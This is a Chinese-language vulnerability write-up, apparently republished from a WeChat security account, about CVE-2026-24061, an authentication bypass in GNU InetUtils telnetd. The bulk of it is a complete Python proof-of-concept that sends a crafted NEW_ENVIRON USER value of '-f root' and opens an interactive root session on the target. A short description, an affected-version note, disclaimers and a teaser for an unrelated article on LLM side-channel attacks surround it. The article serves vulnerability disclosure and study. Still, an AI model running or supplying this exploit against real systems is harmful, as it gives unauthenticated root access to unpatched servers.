CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)

admin 2026-03-03 08:36:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-24061漏洞,即GNUInetutilstelnetd存在的远程身份认证绕过漏洞。漏洞源于telnetd在调用/usr/bin/login时未对客户端传入的USER环境变量进行有效过滤,攻击者可构造USER=-froot的环境变量,利用login的-f参数实现免认证并以root身份登录系统。影响版本为1.9.3至2.7。文档提供了完整的PythonPOC代码,并建议用户升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,渗透测试,漏洞POC,网络安全,应用安全


cover_image

CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)

alicy alicy

信安百科

2026年2月18日 18:00 河北

0x00 前言

Telnet是一种早期互联网远程登录协议,基于TCP/IP协议栈,默认使用23端口,用于在本地设备通过网络字符界面远程控制服务器、路由器、交换机等设备。它采用客户端/服务器架构,本地输入的命令会明文发送到远端执行,再将结果回显到本地终端。

0x01 漏洞描述

漏洞源于telnetd在调用/usr/bin/login进行用户登录时,未对客户端传入的USER环境变量进行有效校验与过滤,直接将其作为参数传递给login程序。当攻击者通过telnet客户端使用-a或–login参数,并构造USER=-f root的环境变量时,可触发login的-f免认证机制,从而在无需任何合法凭据的情况下直接以root身份登录系统。

0x02 CVE编号

CVE-2026-24061

0x03 影响版本

1.9.3 <= GNU InetUtils <= 2.7

0x04 漏洞详情

POC:

https://github.com/SafeBreach-Labs/CVE-2026-24061

import&nbsp;socketimport&nbsp;sysimport&nbsp;threadingimport&nbsp;timeimport&nbsp;argparseimport&nbsp;re
# --- Telnet Protocol Constants (RFC 854) ---# These constants represent the specific byte values used in Telnet's&nbsp;# "Interpret As Command" (IAC) sequences.IAC &nbsp;=&nbsp;255&nbsp;&nbsp;# Interpret As Command: Signals the start of a control sequenceDONT =&nbsp;254&nbsp;&nbsp;# Negotiation: Refuse to perform, or request that the other party stopDO &nbsp; =&nbsp;253&nbsp;&nbsp;# Negotiation: Request that the other party perform, or confirm you expect itWONT =&nbsp;252&nbsp;&nbsp;# Negotiation: Refusal to performWILL =&nbsp;251&nbsp;&nbsp;# Negotiation: Agreement to performSB &nbsp; =&nbsp;250&nbsp;&nbsp;# Subnegotiation Begin: Start of a complex multi-byte option negotiationSE &nbsp; =&nbsp;240&nbsp;&nbsp;# Subnegotiation End: End of the subnegotiation block
# --- Telnet Option Codes (RFC 1572) ---# Specifically for handling environment variable passing.NEW_ENVIRON =&nbsp;39&nbsp;IS &nbsp; &nbsp;=&nbsp;0VAR &nbsp; =&nbsp;0VALUE =&nbsp;1
# --- Global State for Output Filtering ---# Use a flag to track when we are waiting for the echoed command to finish.waiting_for_newline =&nbsp;Falsestate_lock = threading.Lock()
def&nbsp;parse_arguments():&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Handles command-line argument parsing.
&nbsp; &nbsp; Returns:&nbsp; &nbsp; &nbsp; &nbsp; argparse.Namespace: Object containing 'host' and 'port'.&nbsp; &nbsp; """&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description='Telnet exploit script for the NEW-ENVIRON vulnerability.'&nbsp; &nbsp; )&nbsp; &nbsp; parser.add_argument('host',&nbsp;help='Target IP or hostname')&nbsp; &nbsp; parser.add_argument('-p',&nbsp;'--port',&nbsp;type=int, default=23,&nbsp;help='Target port (default 23)')
&nbsp; &nbsp;&nbsp;return&nbsp;parser.parse_args()

def&nbsp;handle_negotiation(sock, cmd, opt):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Handles standard 3-byte Telnet negotiation sequences.
&nbsp; &nbsp; Args:&nbsp; &nbsp; &nbsp; &nbsp; sock: The active socket object.&nbsp; &nbsp; &nbsp; &nbsp; cmd: The negotiation command (DO, WILL, etc).&nbsp; &nbsp; &nbsp; &nbsp; opt: The specific Telnet option (e.g., NEW_ENVIRON).&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;if&nbsp;cmd == DO&nbsp;and&nbsp;opt == NEW_ENVIRON:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# If server says "DO NEW_ENVIRON", we reply "WILL NEW_ENVIRON"&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))&nbsp; &nbsp;&nbsp;elif&nbsp;cmd == DO:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Refuse other options to keep the connection simple&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(bytes([IAC, WONT, opt]))&nbsp; &nbsp;&nbsp;elif&nbsp;cmd == WILL:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Acknowledge that the server will perform an option&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(bytes([IAC, DO, opt]))

def&nbsp;handle_subnegotiation(sock, sb_data, user_payload):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Handles Telnet subnegotiation (SB) sequences for environment variables.
&nbsp; &nbsp; This is the core of the exploit: when the server requests environment&nbsp; &nbsp; information, we provide a malformed USER variable.&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;if&nbsp;len(sb_data) >&nbsp;0&nbsp;and&nbsp;sb_data[0] == NEW_ENVIRON:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Sequence: IAC SB NEW_ENVIRON IS VAR "USER" VALUE [payload] IAC SE&nbsp; &nbsp; &nbsp; &nbsp; env_msg = (&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) +&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b'USER'&nbsp;+&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bytes([VALUE]) +&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user_payload.encode('ascii') +&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bytes([IAC, SE])&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(env_msg)

def&nbsp;process_telnet_stream(data, sock, user_payload):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Separates Telnet control sequences from displayable text.&nbsp; &nbsp; Also filters ANSI escape sequences and suppresses command echos.
&nbsp; &nbsp; Returns:&nbsp; &nbsp; &nbsp; &nbsp; bytes: Filtered data intended for the user's terminal.&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;global&nbsp;waiting_for_newline&nbsp; &nbsp; clean_output =&nbsp;b''&nbsp; &nbsp; i =&nbsp;0&nbsp; &nbsp;&nbsp;while&nbsp;i <&nbsp;len(data):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;data[i] == IAC&nbsp;and&nbsp;i +&nbsp;1&nbsp;<&nbsp;len(data):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd = data[i +&nbsp;1]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 3-byte command (IAC + CMD + OPT)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cmd&nbsp;in&nbsp;[DO, DONT, WILL, WONT]&nbsp;and&nbsp;i +&nbsp;2&nbsp;<&nbsp;len(data):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; handle_negotiation(sock, cmd, data[i +&nbsp;2])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Variable-length Subnegotiation block&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;cmd == SB:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; se_idx = i +&nbsp;2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;se_idx <&nbsp;len(data) -&nbsp;1:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;data[se_idx] == IAC&nbsp;and&nbsp;data[se_idx +&nbsp;1] == SE:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; se_idx +=&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;se_idx <&nbsp;len(data) -&nbsp;1:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; handle_subnegotiation(sock, data[i +&nbsp;2:se_idx], user_payload)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = se_idx +&nbsp;2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;2&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; clean_output +=&nbsp;bytes([data[i]])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;1
&nbsp; &nbsp;&nbsp;# 1. Filter out ANSI escape sequences (e.g., ←[?2004h, ←[3244ms)&nbsp; &nbsp; ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')&nbsp; &nbsp; filtered_data = ansi_escape.sub(b'', clean_output)
&nbsp; &nbsp;&nbsp;# 2. Suppress the echoed command&nbsp; &nbsp;&nbsp;# We ignore incoming data until we see a newline (\n or \r) after a command is sent.&nbsp; &nbsp;&nbsp;with&nbsp;state_lock:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;waiting_for_newline:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newline_pos = -1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;idx, byte_val&nbsp;in&nbsp;enumerate(filtered_data):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;byte_val&nbsp;in&nbsp;[10,&nbsp;13]: &nbsp;# LF or CR&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newline_pos = idx&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;newline_pos != -1:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Found the newline; discard everything before it and resume output&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered_data = filtered_data[newline_pos +&nbsp;1:]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; waiting_for_newline =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Newline not found yet; skip this entire block of data&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b''
&nbsp; &nbsp;&nbsp;return&nbsp;filtered_data

def&nbsp;socket_reader_thread(sock, user_payload):&nbsp; &nbsp;&nbsp;"""Background listener for server traffic."""&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw_data = sock.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;raw_data:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; display_data = process_telnet_stream(raw_data, sock, user_payload)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;display_data:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.buffer.write(display_data)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.buffer.flush()&nbsp; &nbsp;&nbsp;except&nbsp;(ConnectionResetError, BrokenPipeError):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[*] Connection closed.")

def&nbsp;main():&nbsp; &nbsp; args = parse_arguments()&nbsp; &nbsp; user_payload =&nbsp;"-f root"&nbsp; &nbsp;&nbsp;global&nbsp;waiting_for_newline
&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; &nbsp; &nbsp; client_sock.settimeout(5)&nbsp; &nbsp; &nbsp; &nbsp; client_sock.connect((args.host, args.port))&nbsp; &nbsp; &nbsp; &nbsp; client_sock.settimeout(None)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Connected to&nbsp;{args.host}:{args.port}")&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] Connection failed:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp; threading.Thread(&nbsp; &nbsp; &nbsp; &nbsp; target=socket_reader_thread,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; args=(client_sock, user_payload),&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; daemon=True&nbsp; &nbsp; ).start()
&nbsp; &nbsp;&nbsp;print("[*] Interactive session started. Use Ctrl+C to quit.\n")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char = sys.stdin.buffer.read(1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;char:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;char[0]&nbsp;in&nbsp;[10,&nbsp;13]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;state_lock:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; waiting_for_newline =&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client_sock.sendall(char)&nbsp; &nbsp;&nbsp;except&nbsp;KeyboardInterrupt:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[*] Session ended.")&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; client_sock.close()
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x05 参考链接

https://www.openwall.com/lists/oss-security/2026/01/20/2

推荐阅读:

CVE-2026-21962|Oracle WebLogic Server身份认证绕过漏洞(POC)

CVE-2025-61686|React Router未授权目录遍历漏洞(POC)

CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy alicy《CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)》

大模型侧信道攻击简述 网络安全文章

大模型侧信道攻击简述

文章总结: 该文档系统阐述了大模型侧信道攻击的原理、威胁模型与防御方法。核心发现是,大模型推理优化(如推测解码、MoE路由)会将输入语义映射为可观测的时序、流量
评论:0   参与:  0